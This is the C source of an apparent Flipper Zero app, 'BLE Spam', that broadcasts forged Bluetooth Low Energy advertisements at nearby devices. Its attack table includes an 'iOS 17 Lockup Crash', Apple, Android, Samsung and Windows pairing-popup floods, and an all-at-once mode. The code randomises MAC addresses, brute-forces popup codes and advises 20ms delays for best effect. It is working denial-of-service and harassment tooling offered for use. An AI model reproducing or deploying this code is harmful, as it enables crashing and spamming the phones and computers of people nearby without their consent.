ble_spam.c 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <gui/elements.h>
  5. #include "protocols/_protocols.h"
  6. // Hacked together by @Willy-JL
  7. // Custom adv API by @Willy-JL (idea by @xMasterX)
  8. // iOS 17 Crash by @ECTO-1A
  9. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  10. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  11. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  12. static Attack attacks[] = {
  13. {
  14. .title = "The Kitchen Sink",
  15. .text = "Flood all attacks at once",
  16. .protocol = NULL,
  17. .payload =
  18. {
  19. .random_mac = true,
  20. .cfg = {},
  21. },
  22. },
  23. {
  24. .title = "iOS 17 Lockup Crash",
  25. .text = "Newer iPhones, long range",
  26. .protocol = &protocol_continuity,
  27. .payload =
  28. {
  29. .random_mac = false,
  30. .cfg.specific.continuity =
  31. {
  32. .type = ContinuityTypeCustomCrash,
  33. .data = {},
  34. },
  35. },
  36. },
  37. {
  38. .title = "Apple Action Modal",
  39. .text = "Lock cooldown, long range",
  40. .protocol = &protocol_continuity,
  41. .payload =
  42. {
  43. .random_mac = false,
  44. .cfg.specific.continuity =
  45. {
  46. .type = ContinuityTypeNearbyAction,
  47. .data = {},
  48. },
  49. },
  50. },
  51. {
  52. .title = "Apple Device Popup",
  53. .text = "No cooldown, close range",
  54. .protocol = &protocol_continuity,
  55. .payload =
  56. {
  57. .random_mac = false,
  58. .cfg.specific.continuity =
  59. {
  60. .type = ContinuityTypeProximityPair,
  61. .data = {},
  62. },
  63. },
  64. },
  65. {
  66. .title = "Android Device Connect",
  67. .text = "Reboot cooldown, long range",
  68. .protocol = &protocol_fastpair,
  69. .payload =
  70. {
  71. .random_mac = true,
  72. .cfg.specific.fastpair = {},
  73. },
  74. },
  75. {
  76. .title = "Samsung Buds Popup",
  77. .text = "No cooldown, long range",
  78. .protocol = &protocol_easysetup,
  79. .payload =
  80. {
  81. .random_mac = true,
  82. .cfg.specific.easysetup =
  83. {
  84. .type = EasysetupTypeBuds,
  85. .data = {},
  86. },
  87. },
  88. },
  89. {
  90. .title = "Samsung Watch Pair",
  91. .text = "No cooldown, long range",
  92. .protocol = &protocol_easysetup,
  93. .payload =
  94. {
  95. .random_mac = true,
  96. .cfg.specific.easysetup =
  97. {
  98. .type = EasysetupTypeWatch,
  99. .data = {},
  100. },
  101. },
  102. },
  103. {
  104. .title = "Windows Device Found",
  105. .text = "No cooldown, short range",
  106. .protocol = &protocol_swiftpair,
  107. .payload =
  108. {
  109. .random_mac = true,
  110. .cfg.specific.swiftpair = {},
  111. },
  112. },
  113. };
  114. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  115. static uint16_t delays[] = {20, 50, 100, 200};
  116. typedef struct {
  117. Ctx ctx;
  118. View* main_view;
  119. bool lock_warning;
  120. uint8_t lock_count;
  121. FuriTimer* lock_timer;
  122. bool resume;
  123. bool advertising;
  124. uint8_t delay;
  125. FuriThread* thread;
  126. int8_t index;
  127. bool ignore_bruteforce;
  128. } State;
  129. const NotificationSequence solid_message = {
  130. &message_red_0,
  131. &message_green_255,
  132. &message_blue_255,
  133. &message_do_not_reset,
  134. &message_delay_10,
  135. NULL,
  136. };
  137. NotificationMessage blink_message = {
  138. .type = NotificationMessageTypeLedBlinkStart,
  139. .data.led_blink.color = LightBlue | LightGreen,
  140. .data.led_blink.on_time = 10,
  141. .data.led_blink.period = 100,
  142. };
  143. const NotificationSequence blink_sequence = {
  144. &blink_message,
  145. &message_do_not_reset,
  146. NULL,
  147. };
  148. static void start_blink(State* state) {
  149. uint16_t period = delays[state->delay];
  150. if(period <= 100) period += 30;
  151. blink_message.data.led_blink.period = period;
  152. notification_message_block(state->ctx.notification, &blink_sequence);
  153. }
  154. static void stop_blink(State* state) {
  155. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  156. }
  157. static int32_t adv_thread(void* _ctx) {
  158. State* state = _ctx;
  159. uint8_t size;
  160. uint16_t delay;
  161. uint8_t* packet;
  162. uint8_t mac[GAP_MAC_ADDR_SIZE];
  163. Payload* payload = &attacks[state->index].payload;
  164. const Protocol* protocol = attacks[state->index].protocol;
  165. ProtocolCfg* _cfg = &payload->cfg;
  166. if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  167. if(state->ctx.led_indicator) start_blink(state);
  168. while(state->advertising) {
  169. if(protocol) {
  170. if(_cfg->mode == ProtocolModeBruteforce && _cfg->bruteforce.counter++ >= 10) {
  171. _cfg->bruteforce.counter = 0;
  172. _cfg->bruteforce.value =
  173. (_cfg->bruteforce.value + 1) % (1 << (_cfg->bruteforce.size * 8));
  174. }
  175. protocol->make_packet(&size, &packet, &payload->cfg);
  176. } else {
  177. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  178. }
  179. furi_hal_bt_custom_adv_set(packet, size);
  180. free(packet);
  181. if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
  182. delay = delays[state->delay];
  183. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  184. furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
  185. furi_hal_bt_custom_adv_stop();
  186. }
  187. if(state->ctx.led_indicator) stop_blink(state);
  188. return 0;
  189. }
  190. static void toggle_adv(State* state) {
  191. if(state->advertising) {
  192. state->advertising = false;
  193. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  194. furi_thread_join(state->thread);
  195. if(state->resume) furi_hal_bt_start_advertising();
  196. } else {
  197. state->advertising = true;
  198. state->resume = furi_hal_bt_is_active();
  199. furi_hal_bt_stop_advertising();
  200. furi_thread_start(state->thread);
  201. }
  202. }
  203. #define PAGE_MIN (-5)
  204. #define PAGE_MAX ATTACKS_COUNT
  205. enum {
  206. PageHelpBruteforce = PAGE_MIN,
  207. PageHelpApps,
  208. PageHelpDelay,
  209. PageHelpDistance,
  210. PageHelpInfoConfig,
  211. PageStart = 0,
  212. PageEnd = ATTACKS_COUNT - 1,
  213. PageAboutCredits = PAGE_MAX,
  214. };
  215. static void draw_callback(Canvas* canvas, void* _ctx) {
  216. State* state = *(State**)_ctx;
  217. const char* back = "Back";
  218. const char* next = "Next";
  219. if(state->index < 0) {
  220. back = "Next";
  221. next = "Back";
  222. }
  223. switch(state->index) {
  224. case PageStart - 1:
  225. next = "Spam";
  226. break;
  227. case PageStart:
  228. back = "Help";
  229. break;
  230. case PageEnd:
  231. next = "About";
  232. break;
  233. case PageEnd + 1:
  234. back = "Spam";
  235. break;
  236. }
  237. const Attack* attack =
  238. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  239. const Payload* payload = attack ? &attack->payload : NULL;
  240. const Protocol* protocol = attack ? attack->protocol : NULL;
  241. canvas_set_font(canvas, FontSecondary);
  242. canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
  243. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  244. switch(state->index) {
  245. case PageHelpBruteforce:
  246. canvas_set_font(canvas, FontBatteryPercent);
  247. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  248. elements_text_box(
  249. canvas,
  250. 4,
  251. 16,
  252. 120,
  253. 48,
  254. AlignLeft,
  255. AlignTop,
  256. "\e#Bruteforce\e# cycles codes\n"
  257. "to find popups, hold left and\n"
  258. "right to send manually and\n"
  259. "change delay",
  260. false);
  261. break;
  262. case PageHelpApps:
  263. canvas_set_font(canvas, FontBatteryPercent);
  264. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  265. elements_text_box(
  266. canvas,
  267. 4,
  268. 16,
  269. 120,
  270. 48,
  271. AlignLeft,
  272. AlignTop,
  273. "\e#Some Apps\e# interfere\n"
  274. "with the attacks, stay on\n"
  275. "homescreen for best results",
  276. false);
  277. break;
  278. case PageHelpDelay:
  279. canvas_set_font(canvas, FontBatteryPercent);
  280. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  281. elements_text_box(
  282. canvas,
  283. 4,
  284. 16,
  285. 120,
  286. 48,
  287. AlignLeft,
  288. AlignTop,
  289. "\e#Delay\e# is time between\n"
  290. "attack attempts (top right),\n"
  291. "keep 20ms for best results",
  292. false);
  293. break;
  294. case PageHelpDistance:
  295. canvas_set_font(canvas, FontBatteryPercent);
  296. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  297. elements_text_box(
  298. canvas,
  299. 4,
  300. 16,
  301. 120,
  302. 48,
  303. AlignLeft,
  304. AlignTop,
  305. "\e#Distance\e# varies greatly:\n"
  306. "some are long range (>30 m)\n"
  307. "others are close range (<1 m)",
  308. false);
  309. break;
  310. case PageHelpInfoConfig:
  311. canvas_set_font(canvas, FontBatteryPercent);
  312. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  313. elements_text_box(
  314. canvas,
  315. 4,
  316. 16,
  317. 120,
  318. 48,
  319. AlignLeft,
  320. AlignTop,
  321. "See \e#more info\e# and change\n"
  322. "\e#attack options\e# by holding\n"
  323. "Ok on each attack page",
  324. false);
  325. break;
  326. case PageAboutCredits:
  327. canvas_set_font(canvas, FontBatteryPercent);
  328. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  329. elements_text_box(
  330. canvas,
  331. 4,
  332. 16,
  333. 122,
  334. 48,
  335. AlignLeft,
  336. AlignTop,
  337. "App+Spam: \e#WillyJL\e# XFW\n"
  338. "Apple+Crash: \e#ECTO-1A\e#\n"
  339. "Android+Win: \e#Spooks4576\e#\n"
  340. " Version \e#4.1\e#",
  341. false);
  342. break;
  343. default: {
  344. if(!attack) break;
  345. if(state->ctx.lock_keyboard && !state->advertising) {
  346. // Forgive me Lord for I have sinned by handling state in draw
  347. toggle_adv(state);
  348. }
  349. char str[32];
  350. canvas_set_font(canvas, FontBatteryPercent);
  351. if(payload->cfg.mode == ProtocolModeBruteforce) {
  352. snprintf(
  353. str,
  354. sizeof(str),
  355. "0x%0*lX",
  356. payload->cfg.bruteforce.size * 2,
  357. payload->cfg.bruteforce.value);
  358. } else {
  359. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  360. }
  361. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  362. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  363. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  364. canvas_set_font(canvas, FontBatteryPercent);
  365. if(payload->cfg.mode == ProtocolModeBruteforce) {
  366. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  367. if(delays[state->delay] < 100) {
  368. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  369. } else {
  370. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  371. }
  372. uint16_t w = canvas_string_width(canvas, str);
  373. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  374. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  375. canvas_invert_color(canvas);
  376. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  377. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  378. canvas_invert_color(canvas);
  379. } else {
  380. snprintf(
  381. str,
  382. sizeof(str),
  383. "%02i/%02i: %s",
  384. state->index + 1,
  385. ATTACKS_COUNT,
  386. protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
  387. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  388. }
  389. canvas_set_font(canvas, FontPrimary);
  390. canvas_draw_str(canvas, 4, 33, attack->title);
  391. canvas_set_font(canvas, FontSecondary);
  392. canvas_draw_str(canvas, 4, 46, attack->text);
  393. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  394. break;
  395. }
  396. }
  397. if(state->index > PAGE_MIN) {
  398. elements_button_left(canvas, back);
  399. }
  400. if(state->index < PAGE_MAX) {
  401. elements_button_right(canvas, next);
  402. }
  403. if(state->lock_warning) {
  404. canvas_set_font(canvas, FontSecondary);
  405. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  406. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  407. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  408. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  409. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  410. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  411. canvas_draw_dot(canvas, 17, 61);
  412. }
  413. }
  414. static bool input_callback(InputEvent* input, void* _ctx) {
  415. View* view = _ctx;
  416. State* state = *(State**)view_get_model(view);
  417. bool consumed = false;
  418. if(state->ctx.lock_keyboard) {
  419. consumed = true;
  420. with_view_model(
  421. state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
  422. if(state->lock_count == 0) {
  423. furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
  424. }
  425. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  426. state->lock_count++;
  427. }
  428. if(state->lock_count >= 3) {
  429. furi_timer_start(state->lock_timer, 1);
  430. }
  431. } else if(
  432. input->type == InputTypeShort || input->type == InputTypeLong ||
  433. input->type == InputTypeRepeat) {
  434. consumed = true;
  435. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  436. ProtocolCfg* _cfg = is_attack ? &attacks[state->index].payload.cfg : NULL;
  437. bool advertising = state->advertising;
  438. switch(input->key) {
  439. case InputKeyOk:
  440. if(is_attack) {
  441. if(input->type == InputTypeLong) {
  442. if(advertising) toggle_adv(state);
  443. state->ctx.attack = &attacks[state->index];
  444. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  445. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  446. } else if(input->type == InputTypeShort) {
  447. toggle_adv(state);
  448. }
  449. }
  450. break;
  451. case InputKeyUp:
  452. if(is_attack) {
  453. if(_cfg->mode == ProtocolModeBruteforce) {
  454. _cfg->bruteforce.counter = 0;
  455. _cfg->bruteforce.value =
  456. (_cfg->bruteforce.value + 1) % (1 << (_cfg->bruteforce.size * 8));
  457. } else if(state->delay < COUNT_OF(delays) - 1) {
  458. state->delay++;
  459. if(advertising) start_blink(state);
  460. }
  461. }
  462. break;
  463. case InputKeyDown:
  464. if(is_attack) {
  465. if(_cfg->mode == ProtocolModeBruteforce) {
  466. _cfg->bruteforce.counter = 0;
  467. _cfg->bruteforce.value =
  468. (_cfg->bruteforce.value - 1) % (1 << (_cfg->bruteforce.size * 8));
  469. } else if(state->delay > 0) {
  470. state->delay--;
  471. if(advertising) start_blink(state);
  472. }
  473. }
  474. break;
  475. case InputKeyLeft:
  476. if(input->type == InputTypeLong) {
  477. state->ignore_bruteforce = _cfg ? (_cfg->mode != ProtocolModeBruteforce) : true;
  478. }
  479. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  480. _cfg->mode != ProtocolModeBruteforce) {
  481. if(state->index > PAGE_MIN) {
  482. if(advertising) toggle_adv(state);
  483. state->index--;
  484. }
  485. } else {
  486. if(!advertising) {
  487. bool resume = furi_hal_bt_is_active();
  488. furi_hal_bt_stop_advertising();
  489. Payload* payload = &attacks[state->index].payload;
  490. const Protocol* protocol = attacks[state->index].protocol;
  491. uint8_t size;
  492. uint8_t* packet;
  493. protocol->make_packet(&size, &packet, &payload->cfg);
  494. furi_hal_bt_custom_adv_set(packet, size);
  495. free(packet);
  496. uint8_t mac[GAP_MAC_ADDR_SIZE];
  497. furi_hal_random_fill_buf(mac, sizeof(mac));
  498. uint16_t delay = delays[state->delay];
  499. furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
  500. if(state->ctx.led_indicator)
  501. notification_message(state->ctx.notification, &solid_message);
  502. furi_delay_ms(10);
  503. furi_hal_bt_custom_adv_stop();
  504. if(state->ctx.led_indicator)
  505. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  506. if(resume) furi_hal_bt_start_advertising();
  507. }
  508. }
  509. break;
  510. case InputKeyRight:
  511. if(input->type == InputTypeLong) {
  512. state->ignore_bruteforce = _cfg ? (_cfg->mode != ProtocolModeBruteforce) : true;
  513. }
  514. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  515. _cfg->mode != ProtocolModeBruteforce) {
  516. if(state->index < PAGE_MAX) {
  517. if(advertising) toggle_adv(state);
  518. state->index++;
  519. }
  520. } else if(input->type == InputTypeLong) {
  521. state->delay = (state->delay + 1) % COUNT_OF(delays);
  522. if(advertising) start_blink(state);
  523. }
  524. break;
  525. case InputKeyBack:
  526. if(advertising) toggle_adv(state);
  527. consumed = false;
  528. break;
  529. default:
  530. break;
  531. }
  532. }
  533. view_commit_model(view, consumed);
  534. return consumed;
  535. }
  536. static void lock_timer_callback(void* _ctx) {
  537. State* state = _ctx;
  538. if(state->lock_count < 3) {
  539. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  540. } else {
  541. state->ctx.lock_keyboard = false;
  542. }
  543. with_view_model(
  544. state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  545. state->lock_count = 0;
  546. }
  547. static void tick_event_callback(void* _ctx) {
  548. State* state = _ctx;
  549. bool advertising;
  550. with_view_model(
  551. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  552. scene_manager_handle_tick_event(state->ctx.scene_manager);
  553. }
  554. static bool back_event_callback(void* _ctx) {
  555. State* state = _ctx;
  556. return scene_manager_handle_back_event(state->ctx.scene_manager);
  557. }
  558. int32_t ble_spam(void* p) {
  559. UNUSED(p);
  560. State* state = malloc(sizeof(State));
  561. state->thread = furi_thread_alloc();
  562. furi_thread_set_callback(state->thread, adv_thread);
  563. furi_thread_set_context(state->thread, state);
  564. furi_thread_set_stack_size(state->thread, 4096);
  565. state->ctx.led_indicator = true;
  566. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  567. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  568. Gui* gui = furi_record_open(RECORD_GUI);
  569. state->ctx.view_dispatcher = view_dispatcher_alloc();
  570. view_dispatcher_enable_queue(state->ctx.view_dispatcher);
  571. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  572. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  573. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  574. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  575. state->main_view = view_alloc();
  576. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  577. with_view_model(
  578. state->main_view, State * *model, { *model = state; }, false);
  579. view_set_context(state->main_view, state->main_view);
  580. view_set_draw_callback(state->main_view, draw_callback);
  581. view_set_input_callback(state->main_view, input_callback);
  582. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  583. state->ctx.byte_input = byte_input_alloc();
  584. view_dispatcher_add_view(
  585. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  586. state->ctx.submenu = submenu_alloc();
  587. view_dispatcher_add_view(
  588. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  589. state->ctx.text_input = text_input_alloc();
  590. view_dispatcher_add_view(
  591. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  592. state->ctx.variable_item_list = variable_item_list_alloc();
  593. view_dispatcher_add_view(
  594. state->ctx.view_dispatcher,
  595. ViewVariableItemList,
  596. variable_item_list_get_view(state->ctx.variable_item_list));
  597. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  598. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  599. view_dispatcher_run(state->ctx.view_dispatcher);
  600. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  601. byte_input_free(state->ctx.byte_input);
  602. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  603. submenu_free(state->ctx.submenu);
  604. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  605. text_input_free(state->ctx.text_input);
  606. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  607. variable_item_list_free(state->ctx.variable_item_list);
  608. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  609. view_free(state->main_view);
  610. scene_manager_free(state->ctx.scene_manager);
  611. view_dispatcher_free(state->ctx.view_dispatcher);
  612. furi_record_close(RECORD_GUI);
  613. furi_record_close(RECORD_NOTIFICATION);
  614. furi_timer_free(state->lock_timer);
  615. furi_thread_free(state->thread);
  616. free(state);
  617. return 0;
  618. }